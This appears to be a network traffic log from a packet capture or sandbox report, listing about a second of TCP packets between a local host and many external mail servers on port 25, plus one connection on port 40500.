Aug 24, 2023 19:03:37.576211929 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.583638906 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.583913088 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.590054989 CEST	25	50080	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:37.590087891 CEST	25	50080	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:37.590349913 CEST	25	50080	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:37.590365887 CEST	50080	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:37.594115019 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.594890118 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.596088886 CEST	25	50070	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.596218109 CEST	50070	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.599178076 CEST	50026	25	192.168.2.8	72.38.65.185
Aug 24, 2023 19:03:37.603274107 CEST	50088	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:37.603909016 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.603948116 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:37.604011059 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:37.604420900 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:37.605655909 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.610732079 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.611084938 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.612380028 CEST	25	50073	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.612611055 CEST	50073	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.613934994 CEST	25	50076	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.614150047 CEST	50076	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.622956991 CEST	25	50085	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:37.623152018 CEST	50085	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:37.625060081 CEST	50089	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:37.630363941 CEST	25	50069	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.630418062 CEST	25	50084	216.71.132.28	192.168.2.8
Aug 24, 2023 19:03:37.632009983 CEST	50090	25	192.168.2.8	205.220.166.231
Aug 24, 2023 19:03:37.634569883 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.635188103 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.636473894 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.636862993 CEST	50079	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.637562037 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.637660980 CEST	50079	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.639739990 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.640021086 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.641856909 CEST	25	50084	216.71.132.28	192.168.2.8
Aug 24, 2023 19:03:37.642070055 CEST	25	50084	216.71.132.28	192.168.2.8
Aug 24, 2023 19:03:37.642173052 CEST	50084	25	192.168.2.8	216.71.132.28
Aug 24, 2023 19:03:37.642219067 CEST	50084	25	192.168.2.8	216.71.132.28
Aug 24, 2023 19:03:37.648034096 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.648964882 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.649207115 CEST	50081	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.652708054 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.652925968 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.652932882 CEST	50071	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.652995110 CEST	50071	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:37.655533075 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.655720949 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.666290045 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666342020 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666485071 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666532040 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666564941 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666604996 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666637897 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666680098 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.666718960 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.668699026 CEST	50091	25	192.168.2.8	24.201.245.37
Aug 24, 2023 19:03:37.688714027 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.689024925 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.693253040 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.693445921 CEST	25	50074	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:37.694088936 CEST	50074	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:37.699084044 CEST	50092	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.706876040 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:37.707031965 CEST	50088	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:37.714528084 CEST	25	50080	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:37.725754023 CEST	25	50026	72.38.65.185	192.168.2.8
Aug 24, 2023 19:03:37.737986088 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:37.738130093 CEST	50089	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:37.741497040 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.743793964 CEST	25	50079	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.754419088 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.754554987 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.756529093 CEST	25	50084	216.71.132.28	192.168.2.8
Aug 24, 2023 19:03:37.757488012 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.757723093 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.776585102 CEST	25	50091	24.201.245.37	192.168.2.8
Aug 24, 2023 19:03:37.776632071 CEST	25	50083	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.776694059 CEST	50091	25	192.168.2.8	24.201.245.37
Aug 24, 2023 19:03:37.776912928 CEST	50083	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.779196978 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.781622887 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.781936884 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.782202959 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.782865047 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.783071995 CEST	50081	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.784353971 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.784388065 CEST	25	50073	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.784436941 CEST	50081	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.784508944 CEST	25	50073	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.784729004 CEST	50073	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.787062883 CEST	25	50076	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.787115097 CEST	25	50076	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.787377119 CEST	50076	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.789484978 CEST	50094	25	192.168.2.8	142.238.252.73
Aug 24, 2023 19:03:37.793178082 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.794003963 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.794138908 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.803992987 CEST	25	50090	205.220.166.231	192.168.2.8
Aug 24, 2023 19:03:37.804357052 CEST	50090	25	192.168.2.8	205.220.166.231
Aug 24, 2023 19:03:37.806592941 CEST	25	49967	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:37.806623936 CEST	25	49967	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:37.806714058 CEST	49967	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:37.806752920 CEST	49967	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:37.807871103 CEST	50095	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.812382936 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:37.812500954 CEST	50088	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:37.813333988 CEST	25	50071	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:37.815027952 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.815221071 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.833661079 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849348068 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849417925 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849492073 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849528074 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849584103 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849615097 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849689960 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849762917 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849802017 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849874020 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.849898100 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.857157946 CEST	50096	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.868057966 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.868136883 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.868423939 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.869848967 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.870018959 CEST	50092	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.883613110 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.884069920 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:37.884332895 CEST	25	50091	24.201.245.37	192.168.2.8
Aug 24, 2023 19:03:37.884632111 CEST	50091	25	192.168.2.8	24.201.245.37
Aug 24, 2023 19:03:37.896661997 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.896785021 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.896823883 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.896951914 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.896951914 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.896994114 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.897061110 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.897130013 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.897214890 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.897214890 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.897308111 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:37.897624969 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.898482084 CEST	25	50085	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:37.898533106 CEST	25	50085	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:37.898713112 CEST	25	50082	104.47.70.110	192.168.2.8
Aug 24, 2023 19:03:37.898718119 CEST	50085	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:37.898804903 CEST	50082	25	192.168.2.8	104.47.70.110
Aug 24, 2023 19:03:37.898921013 CEST	50085	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:37.901658058 CEST	50097	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:37.907744884 CEST	25	50094	142.238.252.73	192.168.2.8
Aug 24, 2023 19:03:37.908014059 CEST	50094	25	192.168.2.8	142.238.252.73
Aug 24, 2023 19:03:37.908257008 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:37.908473015 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:37.911638021 CEST	50022	40500	192.168.2.8	213.230.111.166
Aug 24, 2023 19:03:37.915672064 CEST	25	50081	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:37.916059017 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:37.917069912 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:37.917265892 CEST	50088	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:37.920694113 CEST	25	49967	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:37.927181959 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:37.941659927 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.948796988 CEST	25	50083	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.948842049 CEST	25	50083	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.949073076 CEST	50083	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.956748962 CEST	25	50073	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.956949949 CEST	50073	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.959559917 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:37.960465908 CEST	25	50076	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:37.960499048 CEST	50089	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:37.960618973 CEST	50076	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:37.960824013 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:37.961078882 CEST	50096	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:37.968688965 CEST	50098	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:37.978607893 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:37.978725910 CEST	50095	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:37.981115103 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.981300116 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.981498957 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:37.981585026 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:37.981848955 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:37.981965065 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:37.985500097 CEST	25	50090	205.220.166.231	192.168.2.8
Aug 24, 2023 19:03:37.986008883 CEST	50090	25	192.168.2.8	205.220.166.231
Aug 24, 2023 19:03:38.021142960 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:38.022072077 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:38.022151947 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:38.022492886 CEST	50088	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:38.023422956 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:38.023561954 CEST	50088	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:38.024245977 CEST	25	50094	142.238.252.73	192.168.2.8
Aug 24, 2023 19:03:38.034264088 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.035100937 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.037192106 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.037426949 CEST	50097	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.038808107 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:38.039483070 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:38.042287111 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.043200016 CEST	50092	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.045016050 CEST	25	50091	24.201.245.37	192.168.2.8
Aug 24, 2023 19:03:38.066684008 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.067024946 CEST	50096	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.073340893 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.073370934 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.073807955 CEST	50089	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.082909107 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.083112955 CEST	50098	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.087686062 CEST	25	50085	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:38.104748011 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.104883909 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.105062962 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.121228933 CEST	25	50083	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.121495008 CEST	50083	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.126498938 CEST	25	50088	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:38.129271030 CEST	25	50073	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.129724026 CEST	50073	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.134041071 CEST	25	50076	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.135124922 CEST	50076	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.136467934 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.139817953 CEST	50099	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:38.145994902 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.147708893 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.151246071 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.151392937 CEST	50095	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.158081055 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:38.158237934 CEST	25	50090	205.220.166.231	192.168.2.8
Aug 24, 2023 19:03:38.158277035 CEST	25	50090	205.220.166.231	192.168.2.8
Aug 24, 2023 19:03:38.158914089 CEST	50090	25	192.168.2.8	205.220.166.231
Aug 24, 2023 19:03:38.158914089 CEST	50090	25	192.168.2.8	205.220.166.231
Aug 24, 2023 19:03:38.160990953 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.162580967 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.170831919 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.171719074 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.172055960 CEST	50096	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.174395084 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.174561977 CEST	50097	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.177192926 CEST	49934	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:38.179641962 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179675102 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179694891 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179716110 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179735899 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179757118 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179778099 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179797888 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179817915 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179837942 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.179862976 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.187346935 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.187417030 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.187619925 CEST	50089	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.187762976 CEST	50089	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.197841883 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.198187113 CEST	50098	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.204256058 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:38.213970900 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.214756966 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.215115070 CEST	50092	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.229535103 CEST	50101	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.241343975 CEST	50102	25	192.168.2.8	192.185.46.31
Aug 24, 2023 19:03:38.261599064 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.261642933 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.261666059 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.261781931 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.262238026 CEST	50086	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.262871027 CEST	25	50099	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:38.263103962 CEST	50099	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:38.275836945 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.276913881 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.277329922 CEST	50096	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.281198025 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.282130957 CEST	50096	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.291719913 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.292843103 CEST	25	50087	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.292999029 CEST	50087	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.297657013 CEST	25	50083	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.297751904 CEST	50083	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.300004005 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.304686069 CEST	25	50089	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.309905052 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.310606956 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.310795069 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.311009884 CEST	50097	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.312378883 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.312549114 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.312800884 CEST	50098	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.313638926 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.322150946 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.323065996 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.323188066 CEST	50095	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.326585054 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:38.326766014 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:38.345030069 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:38.364690065 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.367311001 CEST	50105	25	192.168.2.8	148.163.129.51
Aug 24, 2023 19:03:38.370904922 CEST	25	50102	192.185.46.31	192.168.2.8
Aug 24, 2023 19:03:38.371491909 CEST	50102	25	192.168.2.8	192.185.46.31
Aug 24, 2023 19:03:38.375468016 CEST	25	50086	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.380976915 CEST	25	50096	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.385835886 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.386104107 CEST	50106	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.386718988 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:38.386898041 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.387084961 CEST	50092	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.388140917 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.388247013 CEST	50092	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.391912937 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:38.397403955 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.397559881 CEST	50101	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.407793045 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.407949924 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.425133944 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.425426006 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.430705070 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.430835962 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.431034088 CEST	50098	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.431149960 CEST	50098	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:38.446507931 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.447603941 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.447752953 CEST	50097	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.448326111 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.448549032 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.448612928 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.448632956 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.448668957 CEST	50097	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.448733091 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.474401951 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:38.474560022 CEST	50104	25	192.168.2.8	209.222.82.252
